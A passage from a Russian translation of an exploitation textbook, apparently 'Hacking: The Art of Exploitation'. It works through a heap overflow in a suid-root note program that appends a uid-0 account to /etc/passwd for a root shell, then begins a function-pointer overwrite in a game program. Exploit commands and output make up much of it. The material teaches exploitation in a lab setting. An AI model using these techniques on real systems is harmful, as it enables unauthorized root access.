175
[DEBUG] file descriptor is 3
Note has been saved.
*** glibc detected *** ./notetaker: free(): invalid next size (normal):
0x0804a008 ***
======= Backtrace: =========
/lib/tls/i686/cmov/libc.so.6[0xb7f017cd]
/lib/tls/i686/cmov/libc.so.6(cfree+0x90)[0xb7f04e30]
./notetaker[0x8048916]
/lib/tls/i686/cmov/libc.so.6(__libc_start_main+0xdc)[0xb7eafebc]
./notetaker[0x8048511]
======= Memory map: ========
08048000-08049000 r-xp 00000000 00:0f 44384 /cow/home/reader/booksrc/ notetaker
08049000-0804a000 rw-p 00000000 00:0f 44384 /cow/home/reader/booksrc/ notetaker
0804a000-0806b000 rw-p 0804a000 00:00 0 [heap]
b7d00000-b7d21000 rw-p b7d00000 00:00 0
b7d21000-b7e00000 ---p b7d21000 00:00 0
b7e83000-b7e8e000 r-xp 00000000 07:00 15444 /rofs/lib/libgcc_s.so.1
b7e8e000-b7e8f000 rw-p 0000a000 07:00 15444 /rofs/lib/libgcc_s.so.1
b7e99000-b7e9a000 rw-p b7e99000 00:00 0
b7e9a000-b7fd5000 r-xp 00000000 07:00 15795 /rofs/lib/tls/i686/cmov/ libc-2.5.so b7fd5000-b7fd6000 r--p 0013b000 07:00 15795 /rofs/lib/tls/i686/cmov/ libc-2.5.so b7fd6000-b7fd8000 rw-p 0013c000 07:00 15795 /rofs/lib/tls/i686/cmov/ libc-2.5.so b7fd8000-b7fdb000 rw-p b7fd8000 00:00 0
b7fe4000-b7fe7000 rw-p b7fe4000 00:00 0
b7fe7000-b8000000 r-xp 00000000 07:00 15421 /rofs/lib/ld-2.5.so b8000000-b8002000 rw-p 00019000 07:00 15421 /rofs/lib/ld-2.5.so bffeb000-c0000000 rw-p bffeb000 00:00 0 [stack]
ffffe000-fffff000 r-xp 00000000 00:00 0 [vdso]
Aborted reader@hacking:
/booksrc $
На этот раз переполнение организовано так, что в буфер datafile попа- дает строка testfile. В результате программа пишет в файл testfile вме- сто /var/notes, как предусматривалось изначально. Однако при осво- бождении памяти в куче командой free() обнаруживаются ошибки в заголовках кучи, и программа завершается. Подобно тому как при переполнении в стеке подменяется адрес возврата, существуют крити- ческие точки и в архитектуре кучи. В последней версии glibc функции управления памятью в куче специально модифицированы для проти- водействия атакам посредством кучи.
Начиная с версии 2.2.5 эти функции переписаны так, чтобы выводить отладочную информацию и завершать программу при обнаружении проблем в данных заголовков кучи. Это очень осложняет освобождение кучи в Linux.
1760x300 Эксплойты
Но данный эксплойт действует, не опираясь на данные заголовков кучи, поэтому к моменту вызова free() программу уже вынудили об- маном выполнить запись в новый файл с правами суперпользовате- ля root.
reader@hacking:/booksrc $ grep -B10 free notetaker.c if(write(fd, buffer, strlen(buffer)) == -1) // Write note.
fatal(“in main() while writing buffer to file”);
write(fd, “\n”, 1); // Terminate line.
// Закрытие файла if(close(fd) == -1)
fatal(“in main() while closing file”);
printf(“Note has been saved.\n”);
free(buffer);
free(datafile);
reader@hacking:/booksrc $ ls -l ./testfile
-rw------- 1 root reader 118 2007-09-09 16:19 ./testfile reader@hacking:/booksrc $ cat ./testfile cat: ./testfile: Permission denied reader@hacking:/booksrc $ sudo cat ./testfile
?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAtestfile reader@hacking:/booksrc $
Чтение из строки продолжается,
пока не встретится нулевой байт, по- этому вся строка записывается в файл как userinput. Это программа с битом suid root, поэтому владельцем созданного файла является root.
Кроме того, поскольку имя файла можно задавать, данные могут быть дописаны в любой файл. Однако для данных есть некоторые ограниче- ния: они должны заканчиваться именем выбранного файла и в него бу- дет выведена строка с ID пользователя.
Можно предложить несколько толковых способов использовать от- крывающиеся возможности. Самый очевидный – дописать данные в конец файла
/etc/passwd. В этом файле находятся все имена пользо- вателей системы, их ID и запускаемые для них оболочки. Понятно, что это важный системный файл, поэтому до начала экспериментов полез- но создать его резервную копию.
reader@hacking:/booksrc $ cp /etc/passwd /tmp/passwd.bkup reader@hacking:/booksrc $ head /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync
0x340 Переполнения в других сегментах
177games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh reader@hacking:/booksrc $
Разделителем полей в файле
/etc/passwd служит двоеточие, первое поле – это регистрационное имя, затем следуют пароль, идентифи-
катор пользователя, идентификатор группы, имя пользователя, его личный каталог и, наконец, оболочка, вызываемая при регистрации.
Поля пароля заполнены символом x, потому что зашифрованные паро- ли хранятся в другом месте – файле
shadow. (Однако зашифрованный пароль может храниться и в этом поле.)
Кроме того, все записи в файле
password, для которых ID пользовате- ля равен 0, получают права
суперпользователя (root). Таким образом, возникает задача добавить в файл
password запись с нулевым ID поль- зователя и известным паролем.
Зашифровать пароль можно с помощью однонаправленного алгорит- ма хеширования. Так как алгоритм однонаправленный, восстановить исходный пароль по значению его хеша нельзя. Для борьбы с атака- ми типа поиска по таблице алгоритм использует
случайное число (salt value), или
привязку, чтобы при вводе одинаковых паролей получа- лись разные значения хеша. Это стандартная операция, и в Perl для нее есть функция crypt(). Ее первый аргумент – пароль, а второй – salt.
Тот же пароль, но с другой привязкой, дает другой хеш.
reader@hacking:/booksrc $ perl -e ‘print crypt(“password”, “AA”). “\n”’
AA6tQYSfGxd/A
reader@hacking:/booksrc $ perl -e ‘print crypt(“password”, “XX”). “\n”’
XXq2wKiyI43A2
reader@hacking:/booksrc $
Обратите внимание: значение привязки всегда стоит в начале хеша.
Когда пользователь при регистрации вводит свой пароль, система ищет зашифрованный пароль этого пользователя. Взяв значение при- вязки из зашифрованного пароля, система применяет к тексту паро- ля, введенному пользователем, однонаправленный алгоритм хеши- рования. Затем она сравнивает два хеша:
если они равны, считается, что пользователь ввел правильный пароль. Такая схема позволяет осу- ществлять аутентификацию пользователей и не хранить при этом их пароли в системе.
Если поместить какой-либо из этих хешей в поле пароля, паролем для этой учетной записи станет password, каким бы ни было значение при- вязки. Строка, которая дописывается в файл
/etc/passwd, может вы- глядеть так:
myroot:XXq2wKiyI43A2:0:0:me:/root:/bin/bash
178
0x300 Эксплойты
Однако в данном конкретном эксплойте переполнения в куче дописать такую строку к /etc/passwd не удастся, потому что эта строка должна заканчиваться на /etc/passwd. Но если это имя файла просто добавить в конец записи, то строка файла паролей станет некорректной. Можно обойти эту трудность с помощью специальной символической ссылки, в результате чего запись будет оканчиваться на /etc/passwd и в то же вре- мя окажется допустимой строкой файла паролей. Вот как это делается:
reader@hacking:/booksrc $ mkdir /tmp/etc reader@hacking:/booksrc $ ln -s /bin/bash /tmp/etc/passwd reader@hacking:/booksrc $ ls -l /tmp/etc/passwd lrwxrwxrwx 1 reader reader 9 2007-09-09 16:25 /tmp/etc/passwd -> /bin/bash reader@hacking:/booksrc $
Теперь /tmp/etc/passwd указывает на оболочку регистрации /bin/bash.
То есть /tmp/etc/passwd тоже является допустимой оболочкой реги- страции в файле паролей, что делает допустимой в файле паролей сле- дующую строку:
myroot:XXq2wKiyI43A2:0:0:me:/root:/tmp/etc/passwd
Содержащиеся в ней значения нужно немного подкорректировать, чтобы часть строки до /etc/passwd имела длину ровно 104 байта.
reader@hacking:/booksrc $ perl -e ‘print “myroot:XXq2wKiyI43A2:0:0:me:/
root:/tmp”’ | wc -c
38
reader@hacking:/booksrc $ perl -e ‘print “myroot:XXq2wKiyI43A2:0:0:” .
“A”x50 . “:/root:/tmp”’ | wc -c
86
reader@hacking:/booksrc $ gdb -q
(gdb) p 104 - 86 + 50
$1 = 68
(gdb) quit reader@hacking:/booksrc $ perl -e ‘print “myroot:XXq2wKiyI43A2:0:0:” .
“A”x68 . “:/root:/tmp”’
| wc -c
104
reader@hacking:/booksrc $
Если добавить /etc/passwd в конец последней строки (выделена полужир- ным), то эта строка будет добавлена в конец файла /etc/passwd. А раз эта строка определяет учетную запись с правами суперпользователя и установленным нами паролем, то легко зарегистрироваться с этими данными и получить права root, как показывает следующий листинг.
reader@hacking:/booksrc $ ./notetaker $(perl -e ‘print
“myroot:XXq2wKiyI43A2:0:0:” . “A”x68 . “:/root:/tmp/etc/passwd”’)
[DEBUG] buffer @ 0x804a008: ‘myroot:XXq2wKiyI43A2:0:0:AAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:/root:/tmp/etc/passwd’
[DEBUG] datafile @ 0x804a070: ‘/etc/passwd’
[DEBUG] file descriptor is 3
Note has been saved.
0x340 Переполнения в других сегментах
179
*** glibc detected *** ./notetaker: free(): invalid next size (normal):
0x0804a008 ***
======= Backtrace: =========
/lib/tls/i686/cmov/libc.so.6[0xb7f017cd]
/lib/tls/i686/cmov/libc.so.6(cfree+0x90)[0xb7f04e30]
./notetaker[0x8048916]
/lib/tls/i686/cmov/libc.so.6(__libc_start_main+0xdc)[0xb7eafebc]
./notetaker[0x8048511]
======= Memory map: ========
08048000-08049000 r-xp 00000000 00:0f 44384 /cow/home/reader/booksrc/notetaker
08049000-0804a000 rw-p 00000000 00:0f 44384 /cow/home/reader/booksrc/notetaker
0804a000-0806b000 rw-p 0804a000 00:00 0 [heap]
b7d00000-b7d21000 rw-p b7d00000 00:00 0
b7d21000-b7e00000 ---p b7d21000 00:00 0
b7e83000-b7e8e000 r-xp 00000000 07:00 15444 /rofs/lib/libgcc_s.so.1
b7e8e000-b7e8f000 rw-p 0000a000 07:00 15444 /rofs/lib/libgcc_s.so.1
b7e99000-b7e9a000 rw-p b7e99000 00:00 0
b7e9a000-b7fd5000 r-xp 00000000 07:00 15795 /rofs/lib/tls/i686/cmov/libc-2.5.so b7fd5000-b7fd6000 r--p 0013b000 07:00 15795 /rofs/lib/tls/i686/cmov/libc-2.5.so b7fd6000-b7fd8000 rw-p 0013c000 07:00 15795 /rofs/lib/tls/i686/cmov/libc-2.5.so b7fd8000-b7fdb000 rw-p b7fd8000 00:00 0
b7fe4000-b7fe7000 rw-p b7fe4000 00:00 0
b7fe7000-b8000000 r-xp 00000000 07:00 15421 /rofs/lib/ld-2.5.so b8000000-b8002000 rw-p 00019000 07:00 15421 /rofs/lib/ld-2.5.so bffeb000-c0000000 rw-p bffeb000 00:00 0 [stack]
ffffe000-fffff000 r-xp 00000000 00:00 0 [vdso]
Aborted reader@hacking:/booksrc $ tail /etc/passwd avahi:x:105:111:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false cupsys:x:106:113::/home/cupsys:/bin/false haldaemon:x:107:114:Hardware abstraction layer,,,:/home/haldaemon:/bin/false hplip:x:108:7:HPLIP system user,,,:/var/run/hplip:/bin/false gdm:x:109:118:Gnome Display Manager:/var/lib/gdm:/bin/false matrix:x:500:500:User Acct:/home/matrix:/bin/bash jose:x:501:501:Jose Ronnick:/home/jose:/bin/bash reader:x:999:999:Hacker,,,:/home/reader:/bin/bash
?
myroot:XXq2wKiyI43A2:0:0:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAA:/
root:/tmp/etc/passwd reader@hacking:/booksrc $ su myroot
Password:
root@hacking:/home/reader/booksrc# whoami root root@hacking:/home/reader/booksrc#
1800x300 Эксплойты
0x342 Переполнение с замещением указателя на функциюЕсли достаточно долго играть с программой
game_of_chance.c, то мож- но заметить, что, как в настоящем казино, у большинства игр стати- стика оказывается в пользу заведения. Из-за этого выигрывать труд- но – даже если везет. Но попробуем уравнять шансы. В этой програм- ме последняя выбранная игра запоминается с помощью указателя на функцию. Этот указатель – часть структуры user, объявленной как глобальная переменная. Это означает, что память для структуры user выделена в сегменте bss.
Фрагмент game_of_chance.c// Структура user, хранящая данные о пользователях struct user {
int uid;
int credits;
int highscore;
char name[100];
int (*current_game) ();
};
// Глобальные переменные struct user player; // Структура player
Буфер name в структуре user – подходящее место для переполнения.
Этот буфер заполняет функция input_name():
// Эта функция служит для ввода имени игрока, поскольку
// scanf(“%s”, &whatever) останавливает ввод, встретив пробел.
void input_name() {
char *name_ptr, input_char=’\n’;
while(input_char == ‘\n’) // Сбросить оставшиеся scanf(“%c”, &input_char); // переводы строки.
name_ptr = (char *) &(player.name); // name_ptr = адрес имени игрока while(input_char != ‘\n’) { // Пока не встретится перевод строки.
*name_ptr = input_char; // Поместить символ в поле name.
scanf(“%c”, &input_char); // Ввести следующий символ.
name_ptr++; // Увеличить указатель на имя.
}
*name_ptr = 0; // Завершить строку.
}
Эта функция прекращает ввод, только встретив символ перевода стро- ки. Ограничения в зависимости от размера целевого буфера нет, поэто- му возможно переполнение.
Чтобы использовать переполнение, нуж- но заставить программу вызвать указатель на функцию после того, как
0x340 Переполнения в других сегментах
181
мы его перепишем. Это произойдет в функции play_the_game(), вызыва- емой при выборе какой-либо игры в меню. Следующий фрагмент взят из кода меню выбора и запуска игры.
if((choice < 1) || (choice > 7))
printf(“\n[!!] The number %d is an invalid selection.\n\n”, choice);
else if (choice < 4) { // Выбрана какая-то игра.
if(choice != last_game) { // Если указатель на функцию не задан,
if(choice == 1) // направить его на выбранную игру player.current_game = pick_a_number;
else if(choice == 2)
player.current_game = dealer_no_match;
else player.current_game = find_the_ace;
last_game = choice; // и запомнить выбор в last_game.
}
play_the_game(); // Запустить игру.
}
Если last_game (прошлая игра) отличается от текущей выбранной игры, то указателю текущей игры current_game присваивается новое значе- ние. Следовательно, чтобы заставить программу вызвать указатель на функцию, не перезаписывая его, нужно сначала сыграть игру и запи- сать значение в переменную last_game.
reader@hacking:/booksrc $ ./game_of_chance
-=[ Game of Chance Menu ]=-
1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your user name
6 - Reset your account at 100 credits
7 - Quit
[Name: Jon Erickson]
[You have 70 credits] -> 1
[DEBUG] current_game pointer @ 0x08048fde
####### Pick a Number ######
This game costs 10 credits to play. Simply pick a number between 1 and 20, and if you pick the winning number, you will win the jackpot of 100 credits!
10 credits have been deducted from your account.
Pick a number between 1 and 20: 5
The winning number is 17
Sorry, you didn’t win.
You now have 60 credits
Would you like to play again? (y/n) n
-=[ Game of Chance Menu ]=-
1 - Play the Pick a Number game
182
0x300 Эксплойты
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your user name
6 - Reset your account at 100 credits
7 - Quit
[Name: Jon Erickson]
[You have 60 credits] ->
[1]+ Stopped ./game_of_chance reader@hacking:/booksrc $
Нажав Ctrl-Z, можно приостановить текущий процесс. Сейчас в перемен- ной last_game находится 1, поэтому если в следующий раз выбрать 1, ука- затель на функцию будет вызван без его изменения. Вернувшись в обо- лочку, рассчитаем, каким должен быть буфер для переполнения, кото- рый мы скопируем и вставим позднее в качестве имени. Перекомпили- руем исходный код с отладочными символами и запустим программу через GDB, установив точку останова на main(), чтобы исследовать па- мять. Как показано ниже, буфер name находится в структуре user на рас- стоянии 100 байт от указателя current_game.
reader@hacking:/booksrc $ gcc -g game_of_chance.c reader@hacking:/booksrc $ gdb -q ./a.out
Using host libthread_db library “/lib/tls/i686/cmov/libthread_db.so.1”.
(gdb) break main
Breakpoint 1 at 0x8048813: file game_of_chance.c, line 41.
(gdb) run
Starting program: /home/reader/booksrc/a.out
Breakpoint 1, main () at game_of_chance.c:41 41 srand(time(0)); // Рандомизируем на базе текущего времени.
(gdb) p player
$1 = {uid = 0, credits = 0, highscore = 0, name = ‘\0’ ,
current_game = 0}
(gdb) x/x &player.name
0x804b66c
: 0x00000000
(gdb) x/x &player.current_game
0x804b6d0
: 0x00000000
(gdb) p 0x804b6d0 - 0x804b66c
$2 = 100
(gdb) quit
The program is running. Exit anyway? (y or n) y reader@hacking:/booksrc $
С помощью этих данных можно построить строку для переполнения буфера name. Ее можно скопировать и вставить в интерактивную игру
Game of Chance, когда она будет возобновлена. Чтобы вернуться в пре- рванный процесс, введите fg (от foreground).
reader@hacking:/booksrc $ perl -e ‘print “A”x100 . “BBBB” . “\n”’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAABBBB
0x340 Переполнения в других сегментах
183
reader@hacking:/booksrc $ fg
./game_of_chance
5
Change user name
Enter your new name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Your name has been changed.
-=[ Game of Chance Menu ]=-
1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your user name
6 - Reset your account at 100 credits
7 - Quit
[Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB]
[You have 60 credits] -> 1
[DEBUG] current_game pointer @ 0x42424242
Segmentation fault reader@hacking:/booksrc $
Выберите в меню пункт 5, чтобы изменить имя, и скопируйте в него буфер для переполнения. В результате в указатель на функцию запи- шется 0x42424242. После того как в меню снова будет выбран вариант 1, программа аварийно завершится, пытаясь вызвать указатель на функ- цию. Значит, мы уже управляем выполнением программы, осталось подобрать хороший адрес и заменить им BBBB.
Команда nm перечисляет символы в объектных файлах. С ее помощью можно находить адреса различных функций в программе.
reader@hacking:/booksrc $ nm game_of_chance
0804b508 d _DYNAMIC
0804b5d4 d _GLOBAL_OFFSET_TABLE_
080496c4 R _IO_stdin_used w _Jv_RegisterClasses
0804b4f8 d __CTOR_END__
0804b4f4 d __CTOR_LIST__
0804b500 d __DTOR_END__
0804b4fc d __DTOR_LIST__
0804a4f0 r __FRAME_END__
0804b504 d __JCR_END__
0804b504 d __JCR_LIST__
0804b630 A __bss_start
0804b624 D __data_start
08049670 t __do_global_ctors_aux
08048610 t __do_global_dtors_aux
0804b628 D __dso_handle